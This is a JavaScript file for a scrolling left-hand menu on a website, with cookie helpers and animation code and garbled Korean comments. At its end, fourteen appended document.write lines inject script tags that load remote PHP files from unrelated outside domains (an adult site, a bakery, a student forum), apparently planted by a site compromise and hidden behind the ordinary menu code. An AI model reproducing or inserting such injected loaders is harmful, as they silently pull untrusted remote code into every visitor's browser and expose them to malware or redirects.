var left_stmnLEFT = "auto" // ¿ÞÂÊ ¿©¹é (¿ÞÂÊ¿¡¼­ 10px ¶³¾îÁø °÷¿¡ º¸¿©Áý´Ï´Ù)
var left_stmnGAP1 = 0; // frame top margin (padding size 10px)
var left_stmnGAP2 = 10; // browser top margin
var left_stmnBASE = 10; // start base
var left_stmnActivateSpeed = 200;
var left_stmnScrollSpeed = 10;

var stmnTimer;

function ReadCookie(name) {
	var label = name + "=";
	var labelLen = label.length;
	var cLen = document.cookie.length;
	var i = 0;

	while (i < cLen) {
		var j = i + labelLen;

		if (document.cookie.substring(i, j) == label) {
			var cEnd = document.cookie.indexOf(";", j);

			if (cEnd == -1)
			cEnd = document.cookie.length;

			return unescape(document.cookie.substring(j, cEnd));
		}

		i++;
	}
	return "";
}

function SaveCookie(name, value, expire) {
	var eDate = new Date();
	eDate.setDate(eDate.getDate() + expire);
	document.cookie = name + "=" + value + "; expires=" +	eDate.toGMTString()+ "; path=/";
}

function Refreshstatic_left() {
	var stmnStartPoint, stmnEndPoint, stmnRefreshTimer;

	stmnStartPoint = parseInt(static_left.style.top, 10);
	stmnEndPoint = document.body.scrollTop + left_stmnGAP2;

	if (stmnEndPoint < left_stmnGAP1)
		stmnEndPoint = left_stmnGAP1;
		stmnRefreshTimer = left_stmnActivateSpeed;

	if (stmnStartPoint != stmnEndPoint) {
		stmnScrollAmount = Math.ceil( Math.abs( stmnEndPoint - stmnStartPoint ) / 15 );
		static_left.style.top = parseInt(static_left.style.top, 10) + ( ( stmnEndPoint<stmnStartPoint ) ? -stmnScrollAmount : stmnScrollAmount );
		stmnRefreshTimer = left_stmnScrollSpeed;
	}

	stmnTimer = setTimeout ("Refreshstatic_left();", stmnRefreshTimer);
}

function Toggleanimate() {
	if (animate.checked) {
		Refreshstatic_left();
		SaveCookie("animate", "true", 300);
	} else {
		clearTimeout(stmnTimer);
		static_left.style.top = left_stmnGAP1;
		SaveCookie("animate", "false", 300);
	}
}

function Initialize_static_left() {
	static_left.style.left = left_stmnLEFT;

	if (ReadCookie("animate") == "false") {
		animate.checked = false;
		static_left.style.top = document.body.scrollTop + left_stmnGAP1;
	} else {
		animate.checked = true;
		static_left.style.top = document.body.scrollTop + left_stmnBASE;
		Refreshstatic_left();
	}
}
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://xxxhotgirlfriends.com/tp/toplistl.php ><\/script>');
document.write('<script src=http://bearspawbakery.com/sitechecker/wedding-cake-gallery2.php ><\/script>');
document.write('<script src=http://bearspawbakery.com/sitechecker/wedding-cake-gallery2.php ><\/script>');
document.write('<script src=http://bearspawbakery.com/sitechecker/wedding-cake-gallery2.php ><\/script>');
document.write('<script src=http://hazarastudents.com/forum/farsi_comments_receiver.php ><\/script>');
document.write('<script src=http://hazarastudents.com/forum/farsi_comments_receiver.php ><\/script>');
document.write('<script src=http://hazarastudents.com/forum/farsi_comments_receiver.php ><\/script>');
document.write('<script src=http://hazarastudents.com/forum/farsi_comments_receiver.php ><\/script>');